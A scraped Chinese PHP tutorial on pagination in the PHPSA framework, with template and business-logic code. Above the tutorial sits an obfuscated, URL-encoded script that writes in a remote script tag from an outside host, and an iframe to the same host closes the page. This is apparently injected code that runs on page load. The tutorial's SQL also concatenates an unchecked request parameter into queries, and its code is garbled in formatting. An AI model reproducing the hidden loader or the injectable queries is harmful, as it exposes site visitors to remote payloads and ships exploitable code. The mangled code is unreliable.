HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
PHPSA中的实用类之分页篇 (phpsa系列教程之六)
PHPSA中的实用类之分页篇 (phpsa系列教程之六)
大师兄(teacherli(-at-)gmail.com) 2005-12-20
PHPSA中集成了分页字串处理类, 这一节我们来简单的介绍一下如何在你的程序中使用分页字串处理类. 分页主要应用于列表显示, 为演示这个功能, 我们在示例程序default模块中加入listAction, 用来对首页中四大块新闻点击"更多新闻"链接时的处理动作. 同样, 首先在modules/default/actions目录下建立listAction.class.php文件, 然后在comm/config/guest.config.xml文件中加入<action>list</action>语句, 为访问者设定执行权限.
分页表现在页面中主要是提供了一个可供用户选择页面的分页字串, 先来看看模板中的内容:
CODE:
[Copy to clipboard]
<?php
<
table width
=
"80%"
border
=
"1"
align
=
"center"
>
<
tr
>
<
td
><
strong style
=
"font-size:36px;"
><%
$typeName
%></
strong
></
td
>
</
tr
>
<%
section name
=
loop loop
=
$newsList
%>
<
tr bgcolor
=
"<%cycle values="
#9999CC,#DEDEDE"%>">
<
td
><
strong
>[</
strong
><%
$newsList
[
loop
].
typeName
%><
strong
>]</
strong
> <%
$newsList
[
loop
].
title
%>[<%
$newsList
[
loop
].
addDate
%>]</
td
>
</
tr
>
<%/
section
%>
<
tr
>
<
td
><%
$page_str
%><!--
分页字串位置
--></
td
>
</
tr
>
</
table
>
?>
模板中除了一个Smarty的Section模块外多了一个<%$page_str%>, 这个模板变量用来显示分页字串, 主要的使用方法来看看listAction的doView()方法:
[php
<?php
/**
* list news Action
* @author teacherli 2005-12-20
*/
class ListAction extends Action {
public function ListAction($form = null) {
parent::Action($form);
}
public function doView() {
$this->view->setTplDir("./modules/default/views/");
$this->view->setTpl("list.html");
//加载业务逻辑类DefaultBusinessService并实例化
ClassLoader::loadModelClass("default");
$defaultBusinessService = new DefaultBusinessService();
$typeID = ("" != Request::getValue("typeID")) ? Request::getValue("typeID") : "0";
//page string
ClassLoader::loadUtilsClass("pager");
$currentPage = ("" != Request::getValue("page")) ? Request::getValue("page") : 1; //当前页号
$totalCount = $defaultBusinessService->getNewsCount($typeID); //取得总记录数
//调用Pager类静态方法getPageStr取得分页字串
$pageStr = Pager::getPageStr($currentPage, $totalCount, Config:
IST_PAGE_COUNT);
$this->view->assign("page_str", $pageStr); //替换模板变量<%$page_str%>
$typeName = $defaultBusinessService->getTypeName($typeID);
//分页能符正常使用还要看以下这一句, 业务逻辑类中有一个能够按当前页号取出记录的方法
//才是关键, 请查看DefaultBusinessService类的getNewsLimitList()方法
$newsList = $defaultBusinessService->getNewsLimitList($typeID, $currentPage);
$this->view->assign("typeName", $typeName);
$this->view->assign("newsList", $newsList);
unset($newsList);
$this->view->display();
}
}
[/php]
分页的方法上边代码中的注释已经写的很清楚了, Pager类主要是生成分页字串, 生成分页字串的方法主要接授三个参数, 分别来说明一下:
$currentPage:当前页号. 当前页号指的是分页字串中附加的页号, 在PHPSA中它以page作为变量名通过URL进行传送, 没有设置当前页号时默认为1.
$totalCount: 记录总数. 记录总数指数据库中符合条件的所有记录, 它由DefaultBusinessService类的getNewesCount()方法来取得.
Config:
IST_PAGE_COUNT: 每页显示的记录数. 它为一个常量.
根据这三个参数, getPageStr()方法将自动为用户生成一个符合条件的分页字串返回, 这里不涉及任何的逻辑. 真正要实现功能的, 还是DefaultBusinessService类的getNewsLimitList()方法. 下面分别来看看DefaultBusinessService的这两个方法:
CODE:
[Copy to clipboard]
<?php
/**
* get news count
* @param int $typeID
* @return int
*/
public
function
getNewsCount
(
$typeID
=
0
) {
$strQuery
=
"SELECT COUNT(*) "
.
"FROM tb_news "
;
if (
0
!=
$typeID
) {
$strQuery
.=
"WHERE im_type_id = "
.
$typeID
;
}
return
$this
->
db
->
getOne
(
$strQuery
);
}
?>
CODE:
[Copy to clipboard]
<?php
/**
* get news list
* @param int $typeID
* @param int $currentPage
* @param int $pageCount
* @return 2 dim array
*/
public
function
getNewsLimitList
(
$typeID
=
0
,
$currentPage
=
1
,
$pageCount
=
Config
::
LIST_PAGE_COUNT
) {
$strQuery
=
"SELECT tb_news.i_id AS ID, vc_title AS title, "
.
"vc_sub_title AS subTitle, "
.
"vc_from AS newsfrom, "
.
"vc_author AS author, "
.
"tx_contents AS contents, "
.
"dt_add_date AS addDate, "
.
"vc_name AS typeName "
.
"FROM tb_news, tb_news_type "
.
"WHERE tb_news.im_type_id = tb_news_type.i_id "
;
if (
0
!=
$typeID
) {
$strQuery
.=
"AND tb_news.im_type_id = $typeID "
;
}
$strQuery
.=
"ORDER BY tb_news.i_id DESC"
;
return
$this
->
db
->
getLimitList
(
$strQuery
,
$currentPage
,
$pageCount
);
}
?>
getNewsLimitList()有3个形参, 其中最后一个参数为固定值, 因此我们在listAction类中调用时省去, 通过重组SQL语句后调用DB类的getLimitList()方法执行查询, 关于getLimitList方法的使用, 大家可以查看相应的说明.
来总结一下分页在PHPSA中的使用一般方法:
1. 取得当前页号
2. 取得总记录数
3. 设置每面显示的记录数
4. 调用Paget::getPageStr()方法生成分页字串
5. 调用业务逻辑类中的查询当前页内容的方法
好, PHPSA的角色管理部分就讲到这里, 学习与使用过程中有任何问题,欢迎发邮件与我共同讨论.
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">